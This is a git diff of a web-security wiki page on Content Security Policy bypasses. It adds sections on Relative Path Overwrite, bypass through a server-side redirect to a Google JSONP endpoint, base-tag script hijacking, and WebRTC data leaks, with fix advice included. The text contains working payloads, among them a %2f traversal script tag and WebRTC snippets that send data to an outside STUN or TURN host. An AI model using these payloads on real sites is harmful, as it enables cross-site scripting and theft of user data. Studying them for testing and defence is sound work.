GITBOOK-4149: change request with no subject merged in GitBook
This commit is contained in:
CPol
gitbook-bot
parent
a3ad24c9ea
commit
f515ab26e7
|
|
@ -287,10 +287,25 @@ https://www.youtube.com/oembed?callback=alert;
|
|||
|
||||
The same vulnerability will occur if the **trusted endpoint contains an Open Redirect** because if the initial endpoint is trusted, redirects are trusted.
|
||||
|
||||
### Folder path bypass
|
||||
### Bypass via RPO (Relative Path Overwrite) <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
|
||||
|
||||
If CSP policy points to a folder and you use **%2f** to encode **"/"**, it is still considered to be inside the folder. All browsers seem to agree with that.\
|
||||
This leads to a possible bypass, by using "**%2f..%2f**" if the server decodes it. For example, if CSP allows `http://example.com/company/` you can bypass the folder restriction and execute: `http://example.com/company%2f..%2fattacker/file.js`
|
||||
In addition to the aforementioned redirection to bypass path restrictions, there is another technique called Relative Path Overwrite (RPO) that can be used on some servers.
|
||||
|
||||
For example, if CSP allows the path `https://example.com/scripts/react/`, it can be bypassed as follows:
|
||||
|
||||
```html
|
||||
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
|
||||
```
|
||||
|
||||
The browser will ultimately load `https://example.com/scripts/angular/angular.js`.
|
||||
|
||||
This works because for the browser, you are loading a file named `..%2fangular%2fangular.js` located under `https://example.com/scripts/react/`, which is compliant with CSP.
|
||||
|
||||
However, for certain servers, when receiving the request, they will decode it, effectively requesting `https://example.com/scripts/react/../angular/angular.js`, which is equivalent to `https://example.com/scripts/angular/angular.js`.
|
||||
|
||||
By **exploiting this inconsistency in URL interpretation between the browser and the server, the path rules can be bypassed**.
|
||||
|
||||
The solution is to not treat `%2f` as `/` on the server-side, ensuring consistent interpretation between the browser and the server to avoid this issue.
|
||||
|
||||
Online Example:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
|
||||
|
||||
|
|
@ -304,7 +319,7 @@ Online Example:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.
|
|||
|
||||
If the **base-uri** directive is missing you can abuse it to perform a [**dangling markup injection**](../dangling-markup-html-scriptless-injection/).
|
||||
|
||||
Moreover, if the **page is loading a script using a relative path** (like `/js/app.js`) using a **Nonce**, you can abuse the **base** **tag** to make it **load** the script from **your own server achieving a XSS.**\
|
||||
Moreover, if the **page is loading a script using a relative path** (like `<script src="/js/app.js">`) using a **Nonce**, you can abuse the **base** **tag** to make it **load** the script from **your own server achieving a XSS.**\
|
||||
If the vulnerable page is loaded with **httpS**, make use an httpS url in the base.
|
||||
|
||||
```html
|
||||
|
|
@ -342,6 +357,38 @@ ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com
|
|||
|
||||
Other JSONP arbitrary execution endpoints can be found in [**here**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) (some of them were deleted or fixed)
|
||||
|
||||
### Bypass via Redirection
|
||||
|
||||
What happens when CSP encounters server-side redirection? If the redirection leads to a different origin that is not allowed, it will still fail.
|
||||
|
||||
However, according to the description in [CSP spec 4.2.2.3. Paths and Redirects](https://www.w3.org/TR/CSP2/#source-list-paths-and-redirects), if the redirection leads to a different path, it can bypass the original restrictions.
|
||||
|
||||
Here's an example:
|
||||
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<meta http-equiv="Content-Security-Policy" content="script-src http://localhost:5555 https://www.google.com/a/b/c/d">
|
||||
</head>
|
||||
<body>
|
||||
<div id=userContent>
|
||||
<script src="https://https://www.google.com/test"></script>
|
||||
<script src="https://https://www.google.com/a/test"></script>
|
||||
<script src="http://localhost:5555/301"></script>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
If CSP is set to `https://www.google.com/a/b/c/d`, since the path is considered, both `/test` and `/a/test` scripts will be blocked by CSP.
|
||||
|
||||
However, the final `http://localhost:5555/301` will be **redirected on the server-side to `https://www.google.com/complete/search?client=chrome&q=123&jsonp=alert(1)//`**. Since it is a redirection, the **path is not considered**, and the **script can be loaded**, thus bypassing the path restriction.
|
||||
|
||||
With this redirection, even if the path is specified completely, it will still be bypassed.
|
||||
|
||||
Therefore, the best solution is to ensure that the website does not have any open redirect vulnerabilities and that there are no domains that can be exploited in the CSP rules.
|
||||
|
||||
### Bypass CSP with dangling markup
|
||||
|
||||
Read [how here](../dangling-markup-html-scriptless-injection/).
|
||||
|
|
@ -626,11 +673,26 @@ Apparently, this technique doesn't work in headless browsers (bots)
|
|||
|
||||
On several pages you can read that **WebRTC doesn't check the `connect-src` policy** of the CSP.
|
||||
|
||||
Actually you can *leak* informations using a *DNS request*. Check out this code:
|
||||
Actually you can _leak_ informations using a _DNS request_. Check out this code:
|
||||
|
||||
```javascript
|
||||
(async()=>{p=new RTCPeerConnection({iceServers:[{urls: "stun:LEAK.dnsbin"}]});p.createDataChannel('');p.setLocalDescription(await p.createOffer())})()
|
||||
```
|
||||
|
||||
Another option:
|
||||
|
||||
```javascript
|
||||
var pc = new RTCPeerConnection({
|
||||
"iceServers":[
|
||||
{"urls":[
|
||||
"turn:74.125.140.127:19305?transport=udp"
|
||||
],"username":"_all_your_data_belongs_to_us",
|
||||
"credential":"."
|
||||
}]
|
||||
});
|
||||
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp);
|
||||
```
|
||||
|
||||
## Checking CSP Policies Online
|
||||
|
||||
* [https://csp-evaluator.withgoogle.com/](https://csp-evaluator.withgoogle.com)
|
||||
|
|
@ -647,6 +709,7 @@ Actually you can *leak* informations using a *DNS request*. Check out this code:
|
|||
* [https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d](https://bhavesh-thakur.medium.com/content-security-policy-csp-bypass-techniques-e3fa475bfe5d)
|
||||
* [https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme](https://0xn3va.gitbook.io/cheat-sheets/web-application/content-security-policy#allowed-data-scheme)
|
||||
* [https://www.youtube.com/watch?v=MCyPuOWs3dg](https://www.youtube.com/watch?v=MCyPuOWs3dg)
|
||||
* [https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/](https://aszx87410.github.io/beyond-xss/en/ch2/csp-bypass/)
|
||||
|
||||
|
||||
|
||||
|
|
|
|||
Loading…
Reference in New Issue